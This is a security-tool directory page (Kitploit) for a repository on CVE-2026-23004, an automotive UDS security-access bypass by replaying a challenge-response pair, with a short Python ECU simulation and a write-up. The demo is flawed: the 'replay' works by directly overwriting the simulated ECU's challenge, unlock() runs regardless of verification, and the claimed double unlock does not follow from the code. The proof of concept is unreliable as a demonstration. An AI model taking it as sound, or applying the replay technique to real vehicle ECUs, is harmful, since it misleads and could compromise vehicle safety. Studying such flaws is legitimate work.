Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23004-Automotive-UDS-Authentication-Bypass-via-Replay-Attack | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-23004-automotive-uds-authentication-bypass-via-replay-attack
Authentication & AuthorizationEmbedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT Security
GitHubgeorge0papasotiriou/cve-2026-23004-automotive-uds-authentication-bypass-via-replay-attack

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23004-Automotive-UDS-Authentication-Bypass-via-Replay-Attack

View Repository
115 days agoNot yet reviewed

CVE-2026-23004 – Automotive UDS Authentication Bypass via Replay Attack

Program Code (Python CAN‑UDS sim)

root@kitploit:~
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib

class ECU:
    def __init__(self):
        self.secret = b'long_secret_key'
    def generate_challenge(self):
        self.challenge = random.randbytes(8)
        return self.challenge
    def verify_response(self, response):
        expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
        return response == expected
    def unlock(self):
        print("ECU unlocked! Critical functions accessible.")

# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response)  # first unlock

# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response)  # second unlock without new challenge - works
ecu.unlock()

CVE-2026-23004 – Automotive UDS Authentication Bypass via Replay

Severity: High

Overview

An automotive ECU implements Unified Diagnostic Services (UDS) security access (service 0x27) but does not enforce one‑time challenge usage. An attacker can capture a valid challenge‑response pair and replay it to bypass authentication.

Vulnerability Details

  • Type: Replay Attack
  • Impact: Unauthorized ECU programming, safety override.
  • Root Cause: The ECU accepts any response that matches the current challenge, but the same challenge can be reused without invalidation.

Exploit Demonstration

Run the simulation:

root@kitploit:~
python uds_sim.py

The ECU unlocks twice with the same authentication pair.

Download Tool